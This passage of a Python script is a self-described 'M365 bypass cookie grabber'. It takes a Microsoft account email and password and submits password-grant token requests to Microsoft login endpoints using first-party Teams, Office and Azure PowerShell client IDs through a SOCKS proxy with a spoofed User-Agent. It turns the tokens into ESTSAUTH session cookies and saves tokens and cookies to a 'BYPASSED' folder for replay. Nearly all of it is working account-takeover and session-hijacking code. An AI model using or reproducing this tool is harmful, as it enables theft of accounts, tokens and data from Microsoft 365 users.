                for ep_label, ep_url in [("/org", "organizations"), ("/common", "common"), ("/consumers", "consumers")]:
                    for an, ai in [
                        ("Teams", "1fec8e78-bce4-4aaf-ab1b-5451cc387264"),
                        ("Office", "d3590ed6-52b3-4102-aeff-aad2292ab01c"),
                        ("AzurePS", "1950a258-227b-4e31-a9cf-717495945fc2"),
                    ]:
                        try:
                            r = requests.post(
                                f"https://login.microsoftonline.com/{ep_url}/oauth2/v2.0/token",
                                data={
                                    "grant_type": "password",
                                    "client_id": ai,
                                    "scope": "https://graph.microsoft.com/.default offline_access",
                                    "username": email,
                                    "password": password,
                                },
                                headers={
                                    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
                                    "Content-Type": "application/x-www-form-urlencoded",
                                },
                                proxies={"http": socks_url, "https": socks_url},
                                timeout=30,
                            )
                            if r.status_code == 200:
                                j = r.json()
                                rt = j["access_token"]
                                at = j.get("refresh_token", "")
                                mu = f"V41({ep_label})"
                                au = an
                                ok = True
                                self._log("TOKEN ACQUIRED", "SUCCESS")
                                break
                        except Exception as ex:
                            self._log(f"MATRIX ADAPTATION: {str(ex)[:30]}", "DEBUG")
                    if ok:
                        break
            if not ok:
                r = requests.post(
                    "https://login.microsoftonline.com/organizations/oauth2/v2.0/token",
                    data={
                        "grant_type": "password",
                        "client_id": "1fec8e78-bce4-4aaf-ab1b-5451cc387264",
                        "scope": "https://graph.microsoft.com/.default offline_access",
                        "username": email,
                        "password": password,
                    },
                    headers={
                        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
                        "Content-Type": "application/x-www-form-urlencoded",
                    },
                    timeout=30,
                )
                if r.status_code == 200:
                    j = r.json()
                    rt = j["access_token"]
                    at = j.get("refresh_token", "")
                    mu = "V41direct"
                    au = "Teams"
                    ok = True
                    self._log("TOKEN ACQUIRED", "SUCCESS")
            if not ok:
                self._log("BYPASS FAILED: ALL PROTOCOLS EXHAUSTED", "ERROR")
                self._prog(0, "FAILED")
                return False

        self._log("ENCRYPTED TOKEN PACKAGE: VERIFIED", "OK")

        # Decode JWT (non-critical)
        try:
            p = at.split(".")[1]
            p += "=" * (4 - len(p) % 4) if len(p) % 4 else ""
            j = json.loads(base64.urlsafe_b64decode(p).decode("utf-8", errors="replace"))
        except Exception:
            j = {}
        self._log("CREDENTIAL PAYLOAD: VERIFIED", "OK")

        self._prog(60, "Exchanging tokens...")
        cookies = self._to_cookies(at, rt, email, password)
        if isinstance(cookies, tuple):
            cookies, has_ests = cookies
        else:
            has_ests = any(
                c.get("name") in ("ESTSAUTH", "ESTSAUTHPERSISTENT") for c in cookies
            )
        self._log(f"SESSION BRIDGE: {len(cookies)} CONNECTIONS", "OK")
        if has_ests:
            self._log("PERSISTENT SESSION: ESTABLISHED", "SUCCESS")
        else:
            self._log("TOKEN-ONLY ACCESS: ENABLED", "INFO")

        self._prog(90, "Saving...")
        os.makedirs(OUTPUT_DIR, exist_ok=True)
        with open(os.path.join(OUTPUT_DIR, f"{safe}_tokens.txt"), "w") as f:
            f.write(f"{email}:{at}:{rt}\n")
        ck_path = ""
        if cookies:
            ck_path = os.path.join(OUTPUT_DIR, f"{safe}_cookies.json")
            with open(ck_path, "w") as f:
                json.dump(cookies, f, indent=2)
        with open(os.path.join(OUTPUT_DIR, f"{safe}_full.json"), "w") as f:
            json.dump(
                {
                    "email": email,
                    "method": mu,
                    "app": au,
                    "access_token": at,
                    "refresh_token": rt,
                    "cookies": cookies,
                    "timestamp": datetime.now().isoformat(),
                },
                f,
                indent=2,
            )
        self._log(f"BACKUP CREATED: ./BYPASSED/{safe}", "SUCCESS")
        self._prog(100, "DONE")
        if has_ests:
            self._log("PERSISTENT SESSION READY - Click LOGIN NOW", "SUCCESS")
            return (ck_path, has_ests)
        self._log("TOKEN PACKAGE: SAVED TO ./BYPASSED/", "INFO")
        return (ck_path, has_ests)




def _format_netscape(cookies):
    lines = ["# Netscape HTTP Cookie File"]
    for c in cookies:
        lines.append("\t".join([
            str(c.get("domain") or ""),
            "TRUE" if c.get("includeSubdomains") else "FALSE",
            str(c.get("path") or "/"),
            "TRUE" if c.get("secure") else "FALSE",
            str(int(c.get("expires") or 0)),
            str(c.get("name") or ""),
            str(c.get("value") or ""),
        ]))
    return "\n".join(lines) + "\n"


def main() -> int:
    parser = argparse.ArgumentParser(description="M365 bypass cookie grabber")
    parser.add_argument("email", help="Microsoft account email")
    parser.add_argument("password", help="Microsoft account password")
    parser.add_argument("--app-id", help="Optional Microsoft client ID")
    parser.add_argument("--output", help="Optional JSON output path")
    args = parser.parse_args()

    engine = BypassEngine(log=lambda message, tag="INFO": None, prog=lambda value, text="": None)
    result = engine.run(args.email, args.password)

    if result is False:
        payload = {"ok": False, "error": "bypass_failed"}
        if args.output:
            with open(args.output, "w") as f:
                json.dump(payload, f, indent=2)
        print(json.dumps(payload, indent=2))
        return 1

    cookie_path, has_ests = result
    cookies = []
    if cookie_path and os.path.exists(cookie_path):
        with open(cookie_path, "r") as f:
            cookies = json.load(f)

    netscape = _format_netscape(cookies)
    payload = {
        "ok": True,
        "email": args.email,
        "cookies": cookies,
        "cookies_netscape": netscape,
        "cookie_file": cookie_path,
        "has_ests": bool(has_ests),
    }

    if args.output:
        os.makedirs(os.path.dirname(os.path.abspath(args.output)), exist_ok=True)
        with open(args.output, "w") as f:
            json.dump(payload, f, indent=2)

    print(json.dumps(payload, indent=2))
    return 0


if __name__ == "__main__":
    raise SystemExit(main())
